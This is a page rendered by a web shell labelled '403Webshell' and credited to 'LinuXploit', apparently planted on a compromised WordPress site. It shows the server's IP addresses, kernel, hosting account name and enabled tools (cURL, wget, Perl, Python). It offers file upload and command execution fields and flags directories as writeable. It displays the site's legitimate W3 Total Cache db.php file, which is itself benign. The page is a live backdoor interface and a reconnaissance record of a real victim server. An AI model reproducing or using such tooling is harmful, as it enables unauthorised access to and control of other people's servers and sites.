403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.148.113.167
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/wp-content/db.php
<?php

/**
 * W3 Total Cache Database module
 */
if ( !defined( 'ABSPATH' ) ) {
	die();
}

if ( !defined( 'W3TC_DIR' ) ) {
	define( 'W3TC_DIR', ( defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins' ) . '/w3-total-cache' );
}

/**
 * Abort W3TC loading if WordPress is upgrading
 */
if ( !@is_dir( W3TC_DIR ) || !file_exists( W3TC_DIR . '/w3-total-cache-api.php' ) ) {
	if ( !defined( 'WP_ADMIN' ) ) { // lets don't show error on front end
		require_once ABSPATH . WPINC . '/wp-db.php';
	} else {
		echo sprintf( '<strong>W3 Total Cache Error:</strong> some files appear to be missing or out of place. Please re-install plugin or remove <strong>%s</strong>. <br />', __FILE__ );
	}
} else {
	require_once W3TC_DIR . '/w3-total-cache-api.php';

	// no caching during activation
	$is_installing = ( defined( 'WP_INSTALLING' ) && WP_INSTALLING );

	$config = \W3TC\Dispatcher::config();
	if ( ( !$is_installing && $config->get_boolean( 'dbcache.enabled' ) ) || \W3TC\Util_Environment::is_dbcluster() ) {
		if ( defined( 'DB_TYPE' ) ) {
			$db_driver_path = sprintf( '%s/Db/%s.php', W3TC_LIB_DIR, DB_TYPE );

			if ( file_exists( $db_driver_path ) ) {
				require_once $db_driver_path;
			} else {
				die( sprintf( '<strong>W3 Total Cache Error:</strong> database driver doesn\'t exist: %s.', $db_driver_path ) );
			}
		}

		$GLOBALS['wpdb'] = \W3TC\DbCache_Wpdb::instance();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit